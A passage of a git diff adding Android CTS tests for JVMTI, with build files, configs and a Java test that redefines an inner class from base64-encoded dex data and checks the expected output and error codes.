+ * or implied. See the License for the specific language governing permissions and limitations under
+ * the License.
+ */
+package android.jvmti.cts;
+
+import java.io.BufferedReader;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.PrintStream;
+import java.lang.reflect.Method;
+
+import android.content.pm.PackageManager;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Check redefineClasses-related functionality.
+ */
+public class JvmtiRunTestBasedTest extends JvmtiTestBase {
+
+    private PrintStream oldOut, oldErr;
+    private ByteArrayOutputStream bufferedOut, bufferedErr;
+
+    @Before
+    public void setUp() throws Exception {
+        oldOut = System.out;
+        oldErr = System.err;
+
+        System.setOut(new PrintStream(bufferedOut = new ByteArrayOutputStream(), true));
+        System.setErr(new PrintStream(bufferedErr = new ByteArrayOutputStream(), true));
+    }
+
+    @After
+    public void tearDown() {
+        System.setOut(oldOut);
+        System.setErr(oldErr);
+    }
+
+    protected int getTestNumber() throws Exception {
+        return mActivity.getPackageManager().getApplicationInfo(mActivity.getPackageName(),
+                PackageManager.GET_META_DATA).metaData.getInt("android.jvmti.cts.run_test_nr");
+    }
+
+    @Test
+    public void testRunTest() throws Exception {
+        final int nr = getTestNumber();
+
+        // Load the test class.
+        Class<?> testClass = Class.forName("art.Test" + nr);
+        Method runMethod = testClass.getDeclaredMethod("run");
+        runMethod.invoke(null);
+
+        // Load the expected txt file.
+        InputStream expectedStream = getClass().getClassLoader()
+                .getResourceAsStream("results." + nr + ".expected.txt");
+        compare(expectedStream, bufferedOut);
+
+        if (bufferedErr.size() > 0) {
+            throw new IllegalStateException(
+                    "Did not expect System.err output: " + bufferedErr.toString());
+        }
+    }
+
+    // Very primitive diff. Doesn't do any smart things...
+    private void compare(InputStream expectedStream, ByteArrayOutputStream resultStream)
+            throws Exception {
+        // This isn't really optimal in any way.
+        BufferedReader expectedReader = new BufferedReader(new InputStreamReader(expectedStream));
+        BufferedReader resultReader = new BufferedReader(
+                new InputStreamReader(new ByteArrayInputStream(resultStream.toByteArray())));
+        StringBuilder resultBuilder = new StringBuilder();
+        boolean failed = false;
+        for (;;) {
+            String expString = expectedReader.readLine();
+            String resString = resultReader.readLine();
+
+            if (expString == null && resString == null) {
+                // Done.
+                break;
+            }
+
+            if (expString != null && resString != null && expString.equals(resString)) {
+                resultBuilder.append("  ");
+                resultBuilder.append(expString);
+                resultBuilder.append('\n');
+                continue;
+            }
+
+            failed = true;
+            if (expString != null) {
+                resultBuilder.append("- ");
+                resultBuilder.append(expString);
+                resultBuilder.append('\n');
+            }
+            if (resString != null) {
+                resultBuilder.append("+ ");
+                resultBuilder.append(resString);
+                resultBuilder.append('\n');
+            }
+        }
+        if (failed) {
+            throw new IllegalStateException(resultBuilder.toString());
+        }
+    }
+}
diff --git a/hostsidetests/jvmti/base/run-test-based-app/src/art/Main.java b/hostsidetests/jvmti/base/run-test-based-app/src/art/Main.java
new file mode 100644
index 0000000..493c709
--- /dev/null
+++ b/hostsidetests/jvmti/base/run-test-based-app/src/art/Main.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the License
+ * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+ * or implied. See the License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package art;
+
+/**
+ * This is class is only provided to make development in an IDE easier. The art.Main version
+ * out of the ART run-tests will be used when building.
+ */
+public class Main {
+    // General functionality shared between tests.
+    public static native void setTag(Object o, long tag);
+
+    public static native long getTag(Object o);
+}
diff --git a/hostsidetests/jvmti/redefining/Android.mk b/hostsidetests/jvmti/redefining/Android.mk
new file mode 100644
index 0000000..d0a728d
--- /dev/null
+++ b/hostsidetests/jvmti/redefining/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRedefineClassesHostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/redefining/AndroidTest.xml b/hostsidetests/jvmti/redefining/AndroidTest.xml
new file mode 100644
index 0000000..3bc93a2
--- /dev/null
+++ b/hostsidetests/jvmti/redefining/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRedefineClassesDeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.redefine" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRedefineClassesHostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRedefineClassesDeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.redefine" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/redefining/app/Android.mk b/hostsidetests/jvmti/redefining/app/Android.mk
new file mode 100644
index 0000000..704f464
--- /dev/null
+++ b/hostsidetests/jvmti/redefining/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing ever changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRedefineClassesDeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/redefining/app/AndroidManifest.xml b/hostsidetests/jvmti/redefining/app/AndroidManifest.xml
new file mode 100755
index 0000000..4299b5e
--- /dev/null
+++ b/hostsidetests/jvmti/redefining/app/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.redefine">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.redefine" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java b/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java
new file mode 100644
index 0000000..d68d1ddc
--- /dev/null
+++ b/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java
@@ -0,0 +1,788 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the License
+ * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+ * or implied. See the License for the specific language governing permissions and limitations under
+ * the License.
+ */
+package android.jvmti.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertTrue;
+
+import dalvik.system.InMemoryDexClassLoader;
+
+import java.lang.ref.WeakReference;
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+import java.util.ArrayList;
+import java.util.Base64;
+import java.util.Collections;
+import java.util.LinkedList;
+import java.util.List;
+
+import org.junit.Assert;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import art.Main;
+
+/**
+ * Check redefineClasses-related functionality.
+ */
+public class JvmtiRedefineClassesTest extends JvmtiTestBase {
+
+    @Before
+    public void setUp() throws Exception {
+        // make sure everything is cleared.
+        setTransformationEvent(false);
+        setPopTransformations(true);
+        clearTransformations();
+        // Make sure Transform.class is in the initial state.
+        checkRedefinition(INITIAL_TRANSFORM);
+    }
+
+    static class RedefineError {
+        public int expectedError;
+        public Class<?> target;
+        public byte[] dexData;
+
+        public RedefineError(int err, Class<?> target, String base64string) {
+            this(err, target, Base64.getDecoder().decode(base64string));
+        }
+
+        public RedefineError(int err, Class<?> klass, byte[] dex) {
+            this.expectedError = err;
+            this.target = klass;
+            this.dexData = dex;
+        }
+    }
+
+    // Just an interface.
+    interface Consumer<T> {
+        public void accept(T data);
+    }
+
+    static class StringCollector implements Consumer<String> {
+        public ArrayList<String> reports = new ArrayList<>();
+
+        public void accept(String data) {
+            reports.add(data);
+        }
+    }
+
+    /**
+     * Try to redefine a class and assert that the redefinition matches whats expected.
+     */
+    private static void checkRedefinition(RedefineError err) {
+        assertEquals(err.expectedError, redefineClass(err.target, err.dexData));
+    }
+
+    // This is a class that we will transform for tests.
+    // NB This has the actual name Landroid/jvmti/cts/JvmtiRedefineClassesTest$Transform;
+    static class Transform {
+        // NB This field has type Landroid/jvmti/cts/JvmtiRedefineClassesTest$Consumer;
+        private Consumer<String> reporter;
+
+        public Transform(Consumer<String> reporter) {
+            this.reporter = reporter;
+        }
+
+        private void Start() {
+            reporter.accept("hello - private");
+        }
+
+        private void Finish() {
+            reporter.accept("goodbye - private");
+        }
+
+        public void sayHi(Runnable r) {
+            reporter.accept("Pre Start private method call");
+            Start();
+            reporter.accept("Post Start private method call");
+            r.run();
+            reporter.accept("Pre Finish private method call");
+            Finish();
+            reporter.accept("Post Finish private method call");
+        }
+    }
+
+    /**
+     * Base64 encoded dex file for the initial version of Transform class.
+     */
+    private static final RedefineError INITIAL_TRANSFORM = new RedefineError(
+            JvmtiErrors.NONE, Transform.class,
+            "ZGV4CjAzNQA+L+iHAAAAAAAAAAAAAAAAAAAAAAAAAACgBgAAcAAAAHhWNBIAAAAAAAAAANwFAAAi" +
+            "AAAAcAAAAAkAAAD4AAAABAAAABwBAAABAAAATAEAAAcAAABUAQAAAQAAAIwBAAD0BAAArAEAAKwB" +
+            "AACvAQAAsgEAALoBAAC+AQAAxAEAAMwBAADrAQAAIQIAAFgCAACQAgAAvgIAAOICAAACAwAAIQMA" +
+            "ADUDAABLAwAAXwMAAIADAACgAwAAwAMAAN8DAADmAwAA8QMAAPQDAAD4AwAAAAQAAA0EAAAgBAAA" +
+            "MQQAADcEAABBBAAARgQAAE0EAAAIAAAACQAAAAoAAAALAAAADAAAAA0AAAAOAAAADwAAABcAAAAX" +
+            "AAAACAAAAAAAAAAYAAAACAAAAFQEAAAYAAAACAAAAFwEAAAYAAAACAAAAGQEAAABAAAAHgAAAAAA" +
+            "AgAZAAAAAQABAAIAAAABAAAABQAAAAEAAAAVAAAAAQADACAAAAAGAAAAAgAAAAcAAAAfAAAAAQAA" +
+            "AAAAAAAGAAAAAAAAAAYAAAC8BQAAWAUAAAAAAAABKAABPAAGPGluaXQ+AAI+OwAEPjspVgAGRmlu" +
+            "aXNoAB1Kdm10aVJlZGVmaW5lQ2xhc3Nlc1Rlc3QuamF2YQA0TGFuZHJvaWQvanZtdGkvY3RzL0p2" +
+            "bXRpUmVkZWZpbmVDbGFzc2VzVGVzdCRDb25zdW1lcgA1TGFuZHJvaWQvanZtdGkvY3RzL0p2bXRp" +
+            "UmVkZWZpbmVDbGFzc2VzVGVzdCRDb25zdW1lcjsANkxhbmRyb2lkL2p2bXRpL2N0cy9Kdm10aVJl" +
+            "ZGVmaW5lQ2xhc3Nlc1Rlc3QkVHJhbnNmb3JtOwAsTGFuZHJvaWQvanZtdGkvY3RzL0p2bXRpUmVk" +
+            "ZWZpbmVDbGFzc2VzVGVzdDsAIkxkYWx2aWsvYW5ub3RhdGlvbi9FbmNsb3NpbmdDbGFzczsAHkxk" +
+            "YWx2aWsvYW5ub3RhdGlvbi9Jbm5lckNsYXNzOwAdTGRhbHZpay9hbm5vdGF0aW9uL1NpZ25hdHVy" +
+            "ZTsAEkxqYXZhL2xhbmcvT2JqZWN0OwAUTGphdmEvbGFuZy9SdW5uYWJsZTsAEkxqYXZhL2xhbmcv" +
+            "U3RyaW5nOwAfUG9zdCBGaW5pc2ggcHJpdmF0ZSBtZXRob2QgY2FsbAAeUG9zdCBTdGFydCBwcml2" +
+            "YXRlIG1ldGhvZCBjYWxsAB5QcmUgRmluaXNoIHByaXZhdGUgbWV0aG9kIGNhbGwAHVByZSBTdGFy" +
+            "dCBwcml2YXRlIG1ldGhvZCBjYWxsAAVTdGFydAAJVHJhbnNmb3JtAAFWAAJWTAAGYWNjZXB0AAth" +
+            "Y2Nlc3NGbGFncwARZ29vZGJ5ZSAtIHByaXZhdGUAD2hlbGxvIC0gcHJpdmF0ZQAEbmFtZQAIcmVw" +
+            "b3J0ZXIAA3J1bgAFc2F5SGkABXZhbHVlAAEAAAAAAAAAAQAAAAYAAAABAAAABwAAAAwBAAcOPC0A" +
+            "FQAHDocAEQAHDocAGQEABw6HPIc8hzyHAAAAAAIAAgABAAAAbAQAAAYAAABwEAUAAABbAQAADgAD" +
+            "AAEAAgAAAHQEAAAJAAAAVCAAABsBGwAAAHIgAAAQAA4AAAADAAEAAgAAAHoEAAAJAAAAVCAAABsB" +
+            "HAAAAHIgAAAQAA4AAAAEAAIAAgAAAIAEAAAqAAAAVCAAABsBFAAAAHIgAAAQAHAQAwACAFQgAAAb" +
+            "ARIAAAByIAAAEAByEAYAAwBUIAAAGwETAAAAciAAABAAcBACAAIAVCAAABsBEQAAAHIgAAAQAA4A" +
+            "AAEDAQACAYGABJAJAQKsCQEC0AkEAfQJAgMBIRgCAgQCGgQIHRcWAgUBIRwEFwcXARcQFwMCBQEh" +
+            "HAUXABcHFwEXEBcEAAAAAgAAAHAFAAB2BQAAAQAAAH8FAAABAAAAjQUAAKAFAAABAAAAAQAAAAAA" +
+            "AAAAAAAArAUAAAEAAAC0BQAAEAAAAAAAAAABAAAAAAAAAAEAAAAiAAAAcAAAAAIAAAAJAAAA+AAA" +
+            "AAMAAAAEAAAAHAEAAAQAAAABAAAATAEAAAUAAAAHAAAAVAEAAAYAAAABAAAAjAEAAAIgAAAiAAAA" +
+            "rAEAAAEQAAADAAAAVAQAAAMgAAAEAAAAbAQAAAEgAAAEAAAAkAQAAAAgAAABAAAAWAUAAAQgAAAE" +
+            "AAAAcAUAAAMQAAADAAAAoAUAAAYgAAABAAAAvAUAAAAQAAABAAAA3AUAAA==");
+
+    /**
+     * Base64 encoded dex file containing the following inner class.
+     * <code>
+     * // NB This has the actual name Landroid/jvmti/cts/JvmtiRedefineClassesTest$Transform;
+     * static class Transform {
+     *     // NB This field has type Landroid/jvmti/cts/JvmtiRedefineClassesTest$Consumer;
+     *     private Consumer<String> reporter;
+     *     public Transform(Consumer<String> reporter) {
+     *         this.reporter = reporter;
+     *     }
+     *     private void Start() {
+     *         reporter.accept("TRANSFORMED - Hello - private");
+     *     }
+     *     private void Finish() {
+     *         reporter.accept("TRANSFORMED - Goodbye - private");
+     *     }
+     *     public void sayHi(Runnable r) {
+     *         reporter.accept("TRANSFORMED - pre Start private method call");
+     *         Start();
+     *         reporter.accept("TRANSFORMED - post Start private method call");
+     *         r.run();
+     *         reporter.accept("TRANSFORMED - pre Finish private method call");
+     *         Finish();
+     *         reporter.accept("TRANSFORMED - post Finish private method call");
+     *     }
+     * }
+     * </code>
+     */
+    private static final RedefineError GOOD_TRANSFORM = new RedefineError(
+            JvmtiErrors.NONE, Transform.class,
+            "ZGV4CjAzNQBmR3TRAAAAAAAAAAAAAAAAAAAAAAAAAAD0BgAAcAAAAHhWNBIAAAAAAAAAADAGAAAi" +
+            "AAAAcAAAAAkAAAD4AAAABAAAABwBAAABAAAATAEAAAcAAABUAQAAAQAAAIwBAABIBQAArAEAAKwB" +
+            "AACvAQAAsgEAALoBAAC+AQAAxAEAAMwBAADrAQAAIQIAAFgCAACQAgAAvgIAAOICAAACAwAAIQMA" +
+            "ADUDAABLAwAAXwMAAGYDAACHAwAApgMAANUDAAADBAAAMQQAAF4EAABpBAAAbAQAAHAEAAB4BAAA" +
+            "hQQAAIsEAACVBAAAmgQAAKEEAAAIAAAACQAAAAoAAAALAAAADAAAAA0AAAAOAAAADwAAABkAAAAZ" +
+            "AAAACAAAAAAAAAAaAAAACAAAAKgEAAAaAAAACAAAALAEAAAaAAAACAAAALgEAAABAAAAHgAAAAAA" +
+            "AgAbAAAAAQABAAIAAAABAAAABQAAAAEAAAARAAAAAQADACAAAAAGAAAAAgAAAAcAAAAfAAAAAQAA" +
+            "AAAAAAAGAAAAAAAAAAYAAAAQBgAArAUAAAAAAAABKAABPAAGPGluaXQ+AAI+OwAEPjspVgAGRmlu" +
+            "aXNoAB1Kdm10aVJlZGVmaW5lQ2xhc3Nlc1Rlc3QuamF2YQA0TGFuZHJvaWQvanZtdGkvY3RzL0p2" +
+            "bXRpUmVkZWZpbmVDbGFzc2VzVGVzdCRDb25zdW1lcgA1TGFuZHJvaWQvanZtdGkvY3RzL0p2bXRp" +
+            "UmVkZWZpbmVDbGFzc2VzVGVzdCRDb25zdW1lcjsANkxhbmRyb2lkL2p2bXRpL2N0cy9Kdm10aVJl" +
+            "ZGVmaW5lQ2xhc3Nlc1Rlc3QkVHJhbnNmb3JtOwAsTGFuZHJvaWQvanZtdGkvY3RzL0p2bXRpUmVk" +
+            "ZWZpbmVDbGFzc2VzVGVzdDsAIkxkYWx2aWsvYW5ub3RhdGlvbi9FbmNsb3NpbmdDbGFzczsAHkxk" +
+            "YWx2aWsvYW5ub3RhdGlvbi9Jbm5lckNsYXNzOwAdTGRhbHZpay9hbm5vdGF0aW9uL1NpZ25hdHVy" +
+            "ZTsAEkxqYXZhL2xhbmcvT2JqZWN0OwAUTGphdmEvbGFuZy9SdW5uYWJsZTsAEkxqYXZhL2xhbmcv" +
+            "U3RyaW5nOwAFU3RhcnQAH1RSQU5TRk9STUVEIC0gR29vZGJ5ZSAtIHByaXZhdGUAHVRSQU5TRk9S" +
+            "TUVEIC0gSGVsbG8gLSBwcml2YXRlAC1UUkFOU0ZPUk1FRCAtIHBvc3QgRmluaXNoIHByaXZhdGUg" +
+            "bWV0aG9kIGNhbGwALFRSQU5TRk9STUVEIC0gcG9zdCBTdGFydCBwcml2YXRlIG1ldGhvZCBjYWxs" +
+            "ACxUUkFOU0ZPUk1FRCAtIHByZSBGaW5pc2ggcHJpdmF0ZSBtZXRob2QgY2FsbAArVFJBTlNGT1JN" +
+            "RUQgLSBwcmUgU3RhcnQgcHJpdmF0ZSBtZXRob2QgY2FsbAAJVHJhbnNmb3JtAAFWAAJWTAAGYWNj" +
+            "ZXB0AAthY2Nlc3NGbGFncwAEbmFtZQAIcmVwb3J0ZXIAA3J1bgAFc2F5SGkABXZhbHVlAAEAAAAA" +
+            "AAAAAQAAAAYAAAABAAAABwAAAAsBAAcOPC0AFAAHDocAEAAHDocAGAEABw6HPIc8hzyHAAAAAAIA" +
+            "AgABAAAAwAQAAAYAAABwEAUAAABbAQAADgADAAEAAgAAAMgEAAAJAAAAVCAAABsBEgAAAHIgAAAQ" +
+            "AA4AAAADAAEAAgAAAM4EAAAJAAAAVCAAABsBEwAAAHIgAAAQAA4AAAAEAAIAAgAAANQEAAAqAAAA" +
+            "VCAAABsBFwAAAHIgAAAQAHAQAwACAFQgAAAbARUAAAByIAAAEAByEAYAAwBUIAAAGwEWAAAAciAA" +
+            "ABAAcBACAAIAVCAAABsBFAAAAHIgAAAQAA4AAAEDAQACAYGABOQJAQKACgECpAoEAcgKAgMBIRgC" +
+            "AgQCHAQIHRcYAgUBIRwEFwcXARcQFwMCBQEhHAUXABcHFwEXEBcEAAAAAgAAAMQFAADKBQAAAQAA" +
+            "ANMFAAABAAAA4QUAAPQFAAABAAAAAQAAAAAAAAAAAAAAAAYAAAEAAAAIBgAAEAAAAAAAAAABAAAA" +
+            "AAAAAAEAAAAiAAAAcAAAAAIAAAAJAAAA+AAAAAMAAAAEAAAAHAEAAAQAAAABAAAATAEAAAUAAAAH" +
+            "AAAAVAEAAAYAAAABAAAAjAEAAAIgAAAiAAAArAEAAAEQAAADAAAAqAQAAAMgAAAEAAAAwAQAAAEg" +
+            "AAAEAAAA5AQAAAAgAAABAAAArAUAAAQgAAAEAAAAxAUAAAMQAAADAAAA9AUAAAYgAAABAAAAEAYA" +
+            "AAAQAAABAAAAMAYAAA==");
+
+    /**
+     * Tests that we can redefine Transform class from INITIAL_TRANSFORM to GOOD_TRANSFORM.
+     * <p>
+     * It uses doRedefine to do the transformation.
+     */
+    private void checkRedefinedTransform(Runnable doRedefine) {
+        // The consumer that we use to observe the changes to the Transform class.
+        final StringCollector c = new StringCollector();
+        Transform t = new Transform(c);
+        // Run once without changes.
+        t.sayHi(new Runnable() {
+            public void run() {
+                c.accept("Initial test run. No changes.");
+            }
+        });
+        // Run once with obsolete methods.
+        t.sayHi(new Runnable() {
+            public void run() {
+                c.accept("Redefining calling function.");
+                doRedefine.run();
+            }
+        });
+        // Run once with new definition.
+        t.sayHi(new Runnable() {
+            public void run() {
+                c.accept("Final test run.");
+            }
+        });
+
+        String[] output = c.reports.toArray(new String[0]);
+        assertArrayEquals(
+                new String[]{
+                        // The first call to sayHi
+                        "Pre Start private method call",
+                        "hello - private",
+                        "Post Start private method call",
+                        "Initial test run. No changes.",
+                        "Pre Finish private method call",
+                        "goodbye - private",
+                        "Post Finish private method call",
+
+                        // The second call to sayHi.
+                        "Pre Start private method call",
+                        "hello - private",
+                        "Post Start private method call",
+                        "Redefining calling function.",
+                        "Pre Finish private method call",
+                        "TRANSFORMED - Goodbye - private",
+                        "Post Finish private method call",
+
+                        // The final call to sayHi.
+                        "TRANSFORMED - pre Start private method call",
+                        "TRANSFORMED - Hello - private",
+                        "TRANSFORMED - post Start private method call",
+                        "Final test run.",
+                        "TRANSFORMED - pre Finish private method call",
+                        "TRANSFORMED - Goodbye - private",
+                        "TRANSFORMED - post Finish private method call",
+                }, output);
+    }
+
+    @Test
+    public void testSucessfulRedefine() throws Exception {
+        checkRedefinedTransform(new Runnable() {
+            public void run() {
+                checkRedefinition(GOOD_TRANSFORM);
+            }
+        });
+    }
+
+    @Test
+    public void testSucessfulRetransform() throws Exception {
+        pushTransformationResult(GOOD_TRANSFORM.target, GOOD_TRANSFORM.dexData);
+        checkRedefinedTransform(new Runnable() {
+            public void run() {
+                setTransformationEvent(true);
+                assertEquals(JvmtiErrors.NONE, retransformClass(Transform.class));
+            }
+        });
+    }
+
+    // This is a class that we will transform for tests.
+    // NB This has the actual name Landroid/jvmti/cts/JvmtiRedefineClassesTest$Transform2;
+    static class Transform2 {
+        public void sayHi() {
+            Assert.fail("Should not be called!");
+        }
+    }
+
+    /**
+     * Test cases for failing redefines.
+     */
+    private static final RedefineError[] FAILING_DEX_FILES = {
+            /**
+             * Base64 for this class.
+             *
+             *  .class Landroid/jvmti/cts/JvmtiRedefineClassesTest$Transform2;
+             *  .super Ljava/lang/Object;
+             *  .source "JvmtiRedefineClassesTest.java"
+             *
+             *  # annotations
+             *  .annotation system Ldalvik/annotation/EnclosingClass;
+             *      value = Landroid/jvmti/cts/JvmtiRedefineClassesTest;
+             *  .end annotation
+             *
+             *  .annotation system Ldalvik/annotation/InnerClass;
+             *      accessFlags = 0x8
+             *      name = "Transform2"
+             *  .end annotation
+             *
+             *  # direct methods
+             *  .method constructor <init>()V
+             *      .registers 1
+             *      .prologue
+             *      .line 33
+             *      invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+             *      return-void
+             *  .end method
+             *
+             *  # virtual methods
+             *  .method public sayHi()V
+             *      .registers 1
+             *      .prologue
+             *      .line 35
+             *      return-object v0
+             *  .end method
+            */
+            new RedefineError(JvmtiErrors.FAILS_VERIFICATION, Transform2.class,
+                    "ZGV4CjAzNQBOhefYdQRcgqmkwhWsSyzb5I3udX0SnJ44AwAAcAAAAHhWNBIAAAAAAAAAAIwCAAAN" +
+                    "AAAAcAAAAAYAAACkAAAAAQAAALwAAAAAAAAAAAAAAAMAAADIAAAAAQAAAOAAAAA4AgAAAAEAAAAB" +
+                    "AAAIAQAAJwEAAGABAACOAQAAsgEAANIBAADmAQAA8gEAAPUBAAACAgAACAIAAA8CAAACAAAAAwAA" +
+                    "AAQAAAAFAAAABgAAAAgAAAAIAAAABQAAAAAAAAAAAAAAAAAAAAAAAAALAAAABAAAAAAAAAAAAAAA" +
+                    "AAAAAAQAAAAAAAAAAQAAADgCAAB+AgAAAAAAAAY8aW5pdD4AHUp2bXRpUmVkZWZpbmVDbGFzc2Vz" +
+                    "VGVzdC5qYXZhADdMYW5kcm9pZC9qdm10aS9jdHMvSnZtdGlSZWRlZmluZUNsYXNzZXNUZXN0JFRy" +
+                    "YW5zZm9ybTI7ACxMYW5kcm9pZC9qdm10aS9jdHMvSnZtdGlSZWRlZmluZUNsYXNzZXNUZXN0OwAi" +
+                    "TGRhbHZpay9hbm5vdGF0aW9uL0VuY2xvc2luZ0NsYXNzOwAeTGRhbHZpay9hbm5vdGF0aW9uL0lu" +
+                    "bmVyQ2xhc3M7ABJMamF2YS9sYW5nL09iamVjdDsAClRyYW5zZm9ybTIAAVYAC2FjY2Vzc0ZsYWdz" +
+                    "AARuYW1lAAVzYXlIaQAFdmFsdWUAAAACAwIJBAgKFwcCAgEMGAEAAAAAAAIAAAAhAgAAGAIAACwC" +
+                    "AAAAAAAAAAAAAAAAAAAhAAcOACMABw4AAAABAAEAAQAAAEgCAAAEAAAAcBACAAAADgACAAEAAAAA" +
+                    "AE0CAAABAAAAEQAAAAEBAICABNQEAQHsBA4AAAAAAAAAAQAAAAAAAAABAAAADQAAAHAAAAACAAAA" +
+                    "BgAAAKQAAAADAAAAAQAAALwAAAAFAAAAAwAAAMgAAAAGAAAAAQAAAOAAAAACIAAADQAAAAABAAAE" +
+                    "IAAAAgAAABgCAAADEAAAAgAAACgCAAAGIAAAAQAAADgCAAADIAAAAgAAAEgCAAABIAAAAgAAAFQC" +
+                    "AAAAIAAAAQAAAH4CAAAAEAAAAQAAAIwCAAA="),
+            /**
+             * Base64 for this class.
+             *
+             *  static class Transform {
+             *    private Consumer<String> reporter;
+             *    public Transform(Consumer<String> reporter) {
+             *      this.reporter = reporter;
+             *    }
+             *    private void Start() { }
+             *    private void Finish() { }
+             *    protected void sayHi(Runnable r) { }
+             *  }
+            */
+            new RedefineError(
+                    JvmtiErrors.UNSUPPORTED_REDEFINITION_METHOD_MODIFIERS_CHANGED, Transform.class,
+                    "ZGV4CjAzNQAf2DrkAAAAAAAAAAAAAAAAAAAAAAAAAAAwBQAAcAAAAHhWNBIAAAAAAAAAAGwEAAAa" +
+                    "AAAAcAAAAAkAAADYAAAAAwAAAPwAAAABAAAAIAEAAAUAAAAoAQAAAQAAAFABAADAAwAAcAEAAHAB" +
